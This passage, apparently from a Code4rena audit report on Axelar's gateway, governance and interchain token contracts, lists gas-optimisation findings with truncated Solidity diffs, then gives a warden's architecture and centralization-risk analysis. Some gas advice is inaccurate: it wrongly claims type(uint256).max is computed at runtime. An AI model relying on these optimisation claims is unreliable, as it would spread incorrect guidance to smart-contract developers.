`tokenAddresses` (symbol) `== address(0)` should be checked before `limit` to avoid unnecessary variable creation. After variable creation if any fails, it’s a waste of gas:

https://github.com/code-423n4/2023-07-axelar/blob/2f9b234bb8222d5fbe934beafede56bfb4522641/contracts/cgp/AxelarGateway.sol#L271-L274

```
FILE: 2023-07-axelar/contracts/cgp/AxelarGateway.sol

271: string memory symbol = symbols[i];
+ 274: if (tokenAddresses(symbol) == address(0)) revert TokenDoe
272: uint256 limit = limits[i];
273:
- 274: if (tokenAddresses(symbol) == address(0)) revert TokenDoe
```

[G-07] Functions guaranteed to revert when called by normal users can be marked `payable`

Saves `231 GAS` in 11 instances.

If a function modifier such as `onlyOwner` is used, the function will revert if a normal user tries to pay the function. Marking the function as `payable` will lower the gas cost for legitimate callers because the compiler will not include checks for whether a payment was provided. The extra opcodes avoided are `CALLVALUE(2)`, `DUP1(3)`, `ISZERO(3)`, `PUSH2(3)`, `JUMPI(10)`, `PUSH1(3)`, `DUP1(3)`, `REVERT(0)`, `JUMPDEST(1)` and `POP(2)`, which costs an average of about 21 gas per call to the function, in addition to the extra deployment costs.

▶ Details

[G-08] Optimize names to save gas

Saves 27 instances.

Public/external function names and public member variable names can be optimized to save gas. See this link for an example of how it works. Below are the interfaces/abstract contracts that can be optimized so that the most frequently-called functions use the least amount of gas possible during method lookup. Method IDs that have two leading zero bytes can save 128 gas each during deployment, and renaming functions to have lower method IDs will save 22 gas per call, per sorted position shifted.

```
///@audit getProposalEta(),executeProposal(),
FILE: 2023-07-axelar/contracts/cgp/governance/InterchainGovernar

///@audit executeMultisigProposal(),
FILE: 2023-07-axelar/contracts/cgp/governance/AxelarServiceGover

///@audit getChainName(),getTokenManagerAddress(),getValidTokenM
FILE: 2023-07-axelar/contracts/its/interchain-token-service/Inte
```

[G-09] Default value initialization

Saves `80 GAS` in 4 instances

If a variable is not set/initialized, it is assumed to have the default value `(0, false, 0x0 etc depending on the data type)`. Explicitly initializing it with its default value is an anti-pattern and wastes gas.

Saves `15-20` GAS per instance.

```
FILE: 2023-07-axelar/contracts/interchain-governance-executor/Ir

- 63: for (uint256 i = 0; i < interchainCalls.length; ) {
+ 63: for (uint256 i; i < interchainCalls.length; ) {

- 105: uint256 totalGas = 0;
+ 105: uint256 totalGas ;

- 106: for (uint256 i = 0; i < interchainCalls.length; ) {
+ 106: for (uint256 i ; i < interchainCalls.length; ) {
```

https://github.com/code-423n4/2023-07-axelar/blob/2f9b234bb8222d5fbe934beafede56bfb4522641/contracts/interchain-governance-executor/InterchainProposalSender.sol#L63

```
FILE: 2023-07-axelar/contracts/interchain-governance-executor/Ir

- 74: for (uint256 i = 0; i < calls.length; i++) {
+ 74: for (uint256 i ; i < calls.length; i++) {
```

https://github.com/code-423n4/2023-07-axelar/blob/2f9b234bb8222d5fbe934beafede56bfb4522641/contracts/interchain-governance-executor/InterchainProposalExecutor.sol#L74

[G-10] Use constants instead of `type(uintX).max`

Saves `91 GAS` in 7 instances.

Using constants instead of `type(uintX).max` saves gas in Solidity. This is because the `type(uintX).max` function has to dynamically calculate the maximum value of a uint256, which can be expensive in terms of gas. Constants, on the other hand, are stored in the bytecode of your contract, so they do not have to be recalculated every time you need them. Saves `13 GAS`.

```
FILE: 2023-07-axelar/contracts/its/interchain-token/InterchainTo

56:  if (allowance_ != type(uint256).max) {

57:  if (allowance_ > type(uint256).max - amount) {

58:  allowance_ = type(uint256).max - amount;

88: if (_allowance != type(uint256).max) {

95: if (allowance_ != type(uint256).max) {

96: if (allowance_ > type(uint256).max - amount) {

97: allowance_ = type(uint256).max - amount;
```

https://github.com/code-423n4/2023-07-axelar/blob/2f9b234bb8222d5fbe934beafede56bfb4522641/contracts/its/interchain-token/InterchainToken.sol#L56-L58

[G-11] Splitting `require()/if()` statements that use `&&` saves gas

Saves `52 GAS` in 4 instances.

This [issue](#) describes the fact that there is a larger deployment gas cost, but with enough runtime calls, the change ends up being cheaper by 13 gas.

```
FILE: 2023-07-axelar/contracts/its/remote-address-validator/Remo

58:  if ((b >= 65) && (b <= 70)) bytes(s)[i] = bytes1(b + uint8(
```

https://github.com/code-423n4/2023-07-axelar/blob/2f9b234bb8222d5fbe934beafede56bfb4522641/contracts/its/remote-address-validator/RemoteAddressValidator.sol#L58

```
FILE: 2023-07-axelar/contracts/cgp/AxelarGateway.sol

88: if (msg.sender != getAddress(KEY_MINT_LIMITER) && msg.sender

446: if (!success || (returnData.length != uint256(0) && !abi.de

635: if (limit > 0 && amount > limit) revert ExceedMintLimit(sym
```

https://github.com/code-423n4/2023-07-axelar/blob/2f9b234bb8222d5fbe934beafede56bfb4522641/contracts/cgp/AxelarGateway.sol#L88

[G-12] Caching global variables is more expensive than using the actual variable (use `msg.sender` instead of caching it)

The `msg.sender` variable is a special variable that always refers to the address of the sender of the current transaction. This variable is not stored in memory, so it is much cheaper to use than a cached global variable.

```
FILE: Breadcrumbs2023-07-axelar/contracts/its/interchain-token-s

- 348:  address deployer_ = msg.sender;
- 349:        tokenId = getCustomTokenId(deployer_, salt);
+ 349:        tokenId = getCustomTokenId(msg.sender, salt);
350:        _deployTokenManager(tokenId, tokenManagerType, param
- 351:        emit CustomTokenIdClaimed(tokenId, deployer_, salt
+ 351:        emit CustomTokenIdClaimed(tokenId, msg.sender, sal
```

```
-        address deployer_ = msg.sender;
-         tokenId = getCustomTokenId(deployer_, salt);
+         tokenId = getCustomTokenId(msg.sender, salt);
        _deployRemoteTokenManager(tokenId, destinationChain, gas
-        emit CustomTokenIdClaimed(tokenId, deployer_, salt);
+        emit CustomTokenIdClaimed(tokenId, msg.sender, salt);
```

```
-  address caller = msg.sender;
        ITokenManager tokenManager = ITokenManager(getValidToker
        IERC20 token = IERC20(tokenManager.tokenAddress());

-        SafeTokenTransferFrom.safeTransferFrom(token, caller, c
+        SafeTokenTransferFrom.safeTransferFrom(token, msg.sende
-         _setExpressReceiveToken(tokenId, destinationAddress, am
+   _setExpressReceiveToken(tokenId, destinationAddress, amount,
```

```
- address caller = msg.sender;
        ITokenManager tokenManager = ITokenManager(getValidToker
        IERC20 token = IERC20(tokenManager.tokenAddress());

-        SafeTokenTransferFrom.safeTransferFrom(token, caller, c
+        SafeTokenTransferFrom.safeTransferFrom(token, msg.sende
        _expressExecuteWithInterchainTokenToken(tokenId, destina

-        _setExpressReceiveTokenWithData(tokenId, sourceChain, s
+        _setExpressReceiveTokenWithData(tokenId, sourceChain, s
```

https://github.com/code-423n4/2023-07-axelar/blob/2f9b234bb8222d5fbe934beafede56bfb4522641/contracts/its/interchain-token-service/InterchainTokenService.sol#L372-L375

```
FILE: Breadcrumbs2023-07-axelar/contracts/its/interchain-token/I

- address sender = msg.sender;
        ITokenManager tokenManager = getTokenManager();
        /**
         * @dev if you know the value of `tokenManagerRequiresAp
         */
        if (tokenManagerRequiresApproval()) {
```

```diff
-                 uint256 allowance_ = allowance[sender][address(toke
+                uint256 allowance_ = allowance[msg.sender][address(t
                if (allowance_ != type(uint256).max) {
                    if (allowance_ > type(uint256).max - amount) {
                        allowance_ = type(uint256).max - amount;
                    }

-                     _approve(sender, address(tokenManager), allowar
+                     _approve(msg.sender, address(tokenManager), all
                }
```

https://github.com/code-423n4/2023-07-axelar/blob/2f9b234bb8222d5fbe934beafede56bfb4522641/contracts/its/interchain-token/InterchainToken.sol#L49

Audit Analysis

For this audit, 7 analysis reports were submitted by wardens. An analysis report examines the codebase as a whole, providing observations and advice on such topics as architecture, mechanism, or approach. The [report highlighted below]() by **pcarranzav** received the top score from the judge.

The following wardens also submitted reports: [libratus](), [Sathish9098](), [MrPotatoMagic](), [K42](), [Jeiwan](), *and* [niloy]().

Summary of the contracts in scope

The audited contracts are part of Axelar Network's interchain general message passing, governance and token transfer services. The assets in scope implement a few new features:

- In `AxelarGateway`, a new upgrade mechanism (that uses interchain decentralized governance) is introduced. Additionally, a mint limiter role is added, setting limits to the amounts that can be minted for any token that supports interchain minting.
- Related to the above, a general interchain governance mechanism is introduced, that allows a combination of interchain messages and

multisignature wallet transactions to execute arbitrary governance proposals across chains.

- A general interchain token service. This service allows users to permissionlessly deploy new token managers that act as bridges for arbitrary tokens, using a variety of patterns, e.g. a typical mint/burn bridge or a lock/unlock bridge.

The codebase also includes helpers that allow deploying contracts using the `CREATE3` pattern, that produces a deployment address which is solely dependent on the sender address and a chosen salt, not the bytecode.

Methodology and time spent

I spent about 11 hours diving deep into the codebase, then a couple more cleaning up the reports, thinking through the proofs of concept, and preparing the submissions (including this report). My approach was straightforward: visual inspection of the codebase, cross-checking with unit tests and documentation, and thinking through potential edge cases related to timing, reentrancy, ordering of transactions, etc.

I believe I did a thorough review of the governance-related changes, but a slightly less in-depth review of the interchain token service. The following summarizes my findings and thoughts from what I could gather in this time.

I focused on High/Medium severity issues (though I only found Medium ones) and this Analysis, so it's likely that I won't be submitting a QA or gas report. The audit bots seem to have caught some of the usual QA issues, so I will highlight some things that are not covered in bot output, and affect the code in a broader way, in "Other recommendations" below.

New/unexpected things

- I wasn't familiar with the `CREATE3` pattern, and it looks very useful. It does introduce some risks, as it makes it easier to deploy contracts with the same address in other chains, which could have unintended consequences (this relates to one of the Medium severity issues I submitted).
- Even though it's out of scope, the `EternalStorage` pattern is an interesting approach that I wasn't familiar with either. I can see how it adds flexibility to handle storage during upgrades. However, it also increases the complexity as it requires specific getters for each variable, and it's unclear to me if the benefits

outweigh the increased attack surface and potential for errors. I'd be curious to hear how this has worked out for this team so far.

- The express token transfer mechanism is impressive; the idea that someone can send the tokens to the destination ahead of time and then be paid back when the message is received is a great way to do fast bridging, in a mostly trustless way.

Architecture feedback

Generally, the codebase looks clean and the architecture seems sound. Interchain governance and generalized token bridging are massive problems to tackle and the developers have approached them in a straightforward, simple way.

I've raised a couple Medium issues that relate to timing and ordering of messages and transactions on the multisig and the interchain governance contracts. This would prompt me to suggest taking a closer look at potential timing conditions with interchain messages, and the impact of messages getting delayed due to gas. This is one of the trickiest things to get right when doing cross-chain messaging, so I wouldn't be surprised if there are a few other edge cases where this could cause issues.

A general suggestion I have for the architecture is on the amount of proxy contracts that are defined in the codebase. A lot of different proxies are available, and in some cases there is very little difference between each type. This leads to some duplication, e.g. proxy fallback functions re-implemented in several places, which increases the attack surface and risk of errors. I would suggest, on a future iteration, to attempt to combine some of these into fewer contracts to improve maintainability. For instance, proxies that differ only in the `contractId()` could have the ID be defined as an immutable and set at proxy deployment time.

Centralization risks

Some of the contracts in scope present upgrade mechanisms, but use decentralized governance with timelocks. The cases are where multisigs are used are a form of centralization risk (especially if the number of signers is low). `AxelarServiceGovernance` requiring both an interchain approval *and* a multisig execution provides some additional security against compromised signers.

In general, token projects using the Axelar gateway token transfer service are trusting the Axelar network and its governance mechanism with minting power for their tokens. This governance is decentralized and is part of the core trust assumption when using Axelar. It's worth noting that the mint limiter is a separate, more centralized role (according to the docs, to be handled through a multisig).

For the interchain token service, an important centralization risk is noted in `DESIGN.md`:

> Users using Custom Bridges need to trust the deployers as they could easily confiscate the funds of users if they wanted to, same as any `ERC20` distributor could confiscate the funds of users.

This is an important consideration and ideally it should be mentioned in the user documentation or user interfaces. Luckily, not all bridges suffer this risk, just like not all ERC20s allow confiscation. In particular, canonical tokens, and bridges using standardized tokens where the distributor is the token manager, are less susceptible to the deployer doing arbitrary confiscations or minting. This is something that could be surfaced in documentation or UI as well, so that users can know what trust assumptions they are working with when they bridge with each particular token and bridge combination.

In the interchain token service, Axelar governance is able to add trusted addresses that can perform arbitrary token transfers on the `InterchainTokenService`, so this should be noted as an important centralization risk that affects both canonical and custom bridges. I have also raised a Medium severity issue related to this, where the deployer address retains this ability even after the ownership is transferred to a governance account.

Systemic risks

As mentioned above, timing and gas are some things that are tricky to handle in any protocol that uses cross-chain messaging, and this additional complexity introduces some risk from the possibility of stalling/deadlocks and also simply from the fact that it's a bigger attack surface.

In general, users of these services that are, for instance, extending a DAO or token with interchain governance or bridging, would be plugging their tokens or DAOs into a multiple-chain, multiple-consensus, multiple-VM super-system, so this should always be done with care. Such a system, going beyond a single chain's consensus, can suddenly be exposed to unexpected issues like reorgs or consensus problems (e.g. forking) in a separate chain causing an impact in token supply in the token's "native" chain.

Luckily, it seems the team has considered these risks and at first sight Axelar Network has mechanisms to mitigate them (as mentioned in section 5.2 of the Axelar whitepaper), but I'd need to do a deeper dive into the rest of the codebase to assert this with more confidence that all the potential risks stemming from this are covered.

Other recommendations

- Comments in a lot of the contracts are sparse; spending some time adding NatSpec to all functions, storage variables and modifiers could really help with maintainability. Even just having a `@notice` on all external/public functions would be a big improvement. This is especially important for things like this. This audit note is important enough that including it in the NatSpec for the function would be useful. But in general, the meaning of all parameters and return values is valuable information. Similarly, it is not clear in `TokenManagerDeployer` and `StandardizedTokenDeployer` that these are meant to be used through `delegatecalls`. Without some documentation, it looks like someone could try to deploy tokens or managers by calling these directly.
- I've noticed the project is not using any external dependencies (e.g. OpenZeppelin libraries) that could greatly simplify the codebase; the project could reuse token contracts or even rely on a third-party multisig implementation. I assume this is a conscious choice, and would love to hear more about the rationale for this. It's worth pointing out as a tradeoff where it's unclear if the risk of bugs in third-party code outweighs the risks from lots of additional custom code.
- The use of `commandId := calldataload(4)` in some command processing functions suggests that it would be cleaner to pass the `commandId` to the internal `_execute` functions explicitly to avoid the need to use assembly. This assignment is a sort of "out-of-band" parameter-passing mechanism and could be prone to errors, as it obscures the fact that the params for `_execute` are not everything that the function needs from the caller. If there is a concern for

backward compatibility, a separate `_executeWithCommandId` or similar could be added to `AxelarExecutable`.

- Interchain calls add complexity to any codebase, and are hard to reason out, so I strongly suggest adding automated end-to-end tests if you don't have them already. Ideally, these tests would run on a testnet or local but real nodes for at least two different chains, and test running governance actions or token transfers between the two. I appreciate this is very time consuming, but it helps mitigate a lot of the risks.

Time spent:

13 hours

Disclosures

C4 is an open organization governed by participants in the community.

C4 Audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.

Top